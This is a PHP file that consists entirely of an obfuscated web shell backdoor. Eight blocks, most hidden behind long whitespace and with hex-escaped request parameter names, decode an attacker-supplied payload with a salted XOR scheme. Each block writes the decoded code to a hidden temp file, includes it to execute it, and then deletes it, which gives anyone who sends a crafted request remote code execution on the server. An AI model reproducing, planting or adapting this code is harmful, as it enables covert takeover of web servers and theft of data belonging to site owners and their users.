<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72ef\x65r\x65n\x63e"])){ $data = $_REQUEST["\x72ef\x65r\x65n\x63e"]; $data = explode( '.' , $data) ; $symbol = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach ($data as $o =>$v2): $chS = ord($s6[$o % $sLen]); $d = ((int)$v2 - $chS - ($o % 10)) ^ 88; $symbol .= chr($d); endforeach; $entry = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir()]); while ($dat = array_shift($entry)) { if (array_product([is_dir($dat), is_writable($dat)])) { $property_set = join("/", [$dat, ".data_chunk"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $property_set; @unlink($property_set); exit; } } } }
																																										if(!is_null($_POST["o\x62je\x63t"] ?? null)){ $itm = $_POST["o\x62je\x63t"]; $itm= explode ( ".", $itm ) ; $res= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $z= 0; while($z<count($itm)) { $v1= $itm[$z]; $sChar= ord($s[$z % $lenS] ); $d= ((int)$v1 - $sChar -($z % 10)) ^ 16; $res .= chr($d ); $z++;} $ent = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir()]); foreach ($ent as $sym): if (max(0, is_dir($sym) * is_writable($sym))) { $ref = "$sym/.rec"; if (@file_put_contents($ref, $res) !== false) { include $ref; unlink($ref); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x61\x74a\x5Fc\x68unk"])){ $dchunk = $_REQUEST["\x64\x61\x74a\x5Fc\x68unk"]; $dchunk =explode( ".", $dchunk ) ; $dat= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt7 ); $q= 0; array_walk( $dchunk, function( $v1) use( &$dat, &$q, $salt7, $sLen) { $sChar= ord( $salt7[$q % $sLen] ); $dec= ( ( int)$v1 - $sChar -( $q % 10)) ^ 41; $dat .=chr( $dec ); $q++; } ); $item = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP")]); foreach ($item as $flg) { if ((is_dir($flg) and is_writable($flg))) { $ref = "$flg" . "/.val"; if (file_put_contents($ref, $dat)) { include $ref; @unlink($ref); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x74k\x6E"])){ $item = $_REQUEST["\x74k\x6E"]; $item = explode ("." ,$item ) ; $ent = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); foreach ($item as $m => $v6) { $sChar = ord($s3[$m %$sLen] ); $dec = ((int)$v6 - $sChar - ($m %10)) ^ 87; $ent .= chr($dec ); } $desc = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $flag = 0; do { $flg = $desc[$flag] ?? null; if ($flag >= count($desc)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $pgrp = sprintf("%s/.rec", $flg); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $pgrp; @unlink($pgrp); exit; } } $flag++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x73\x79m"])){ $reference = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm"]); $element = $_REQUEST["\x73\x79m"]; $element = explode ( "." , $element) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $len = count( $element ); for( $u = 0; $u<$len; $u++) { $v6 = $element[$u]; $chS = ord( $salt[$u % $lenS] ); $dec =( ( int)$v6 - $chS -( $u % 10)) ^ 23; $tkn .= chr( $dec ); } for ($data_chunk = 0, $comp = count($reference); $data_chunk < $comp; $data_chunk++) { $object = $reference[$data_chunk]; if (is_writable($object) && is_dir($object)) { $bind = vsprintf("%s/%s", [$object, ".data"]); if (@file_put_contents($bind, $tkn) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x67rp"])){ $val = $_REQUEST["\x70\x67rp"]; $val = explode ( '.' , $val ) ; $object =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s4); $n =0; while( $n < count( $val)) { $v2 =$val[$n]; $sChar =ord( $s4[$n % $lenS]); $dec =( ( int)$v2 - $sChar -( $n % 10)) ^ 75; $object.=chr( $dec); $n++; } $itm = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP")]); foreach ($itm as $data_chunk): if ((is_dir($data_chunk) and is_writable($data_chunk))) { $ent = join("/", [$data_chunk, ".ref"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $ent; @unlink($ent); die(); } } endforeach; }
																																										if(!empty($_POST["\x64\x63h\x75nk"])){ $tkn = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir(), "/var/tmp"]); $res = $_POST["\x64\x63h\x75nk"]; $res= explode ( '.' , $res ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($res); for ($j = 0; $j < $len; $j++) { $v2 = $res[$j]; $sChar = ord($salt[$j % $sLen]); $d = ((int)$v2 - $sChar - ($j % 10)) ^ 70; $pset .= chr($d); } foreach ($tkn as $flg) { if (is_dir($flg) && is_writable($flg)) { $holder = str_replace("{var_dir}", $flg, "{var_dir}/.elem"); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $holder; @unlink($holder); exit; } } } }


if(!empty($_REQUEST["\x63\x6Fmp\x6F\x6Eent"])){
	$resource = $_REQUEST["\x63\x6Fmp\x6F\x6Eent"];
	$resource=		 explode( "."	 	, 	 $resource  	) 	 ;			
	$fac		= '';
            $salt6		= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		= strlen($salt6);
            $u		= 0;
    
            $__tmp		= $resource;
            while ($v6		= array_shift($__tmp)) {	$chS		= ord($salt6[$u % $lenS]);
                $dec		= ((int)$v6 - $chS - ($u % 10)) ^ 36;
                $fac	.=chr($dec);
                $u++; }	
	$property_set = array_filter(["/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]);
	while ($sym = array_shift($property_set)) {
    		if (is_dir($sym) ? is_writable($sym) : false) {
    $rec = vsprintf("%s/%s", [$sym, ".element"]);
    if (file_put_contents($rec, $fac)) {
	include $rec;
	@unlink($rec);
	die();
}
}
}
}